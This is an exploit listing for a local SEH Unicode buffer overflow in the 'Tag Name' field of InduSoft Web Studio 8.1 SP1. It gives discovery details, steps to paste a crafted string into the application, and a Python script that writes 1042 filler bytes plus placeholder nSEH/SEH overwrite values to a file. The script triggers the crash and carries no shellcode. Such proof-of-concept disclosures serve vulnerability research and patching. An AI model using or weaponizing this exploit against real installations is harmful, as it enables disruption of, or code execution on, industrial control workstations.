# Exploit Title: InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH)
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-11
# Vendor Homepage: http://www.indusoft.com/
# Software Link: http://www.indusoft.com/Products-Downloads
# Tested Version: 8.1 SP1
# Vulnerability Type: Local Buffer Overflow (SEH Unicode)
# Tested on OS: Windows 10 Pro x64 en
  
# Steps to Produce the Local Buffer Overflow (SEH Unicode): 
# 1.- Run python code: InduSoft_Web_Studio_8.1.py
# 2.- Open InduSoft_Web_Studio_8.1.txt and copy content to clipboard
# 3.- Open IWS v8.1 InduSoft Web Studio
# 4.- Home
# 5.- Paste ClipBoard on "Tag Name"
  
#!/usr/bin/env python
 
nSEH = "\x42\x42"
SEH = "\x43\x43"
  
buffer = "\x41" * 1042 + nSEH + SEH
f = open ("InduSoft_Web_Studio_8.1.txt", "w")
f.write(buffer)
f.close()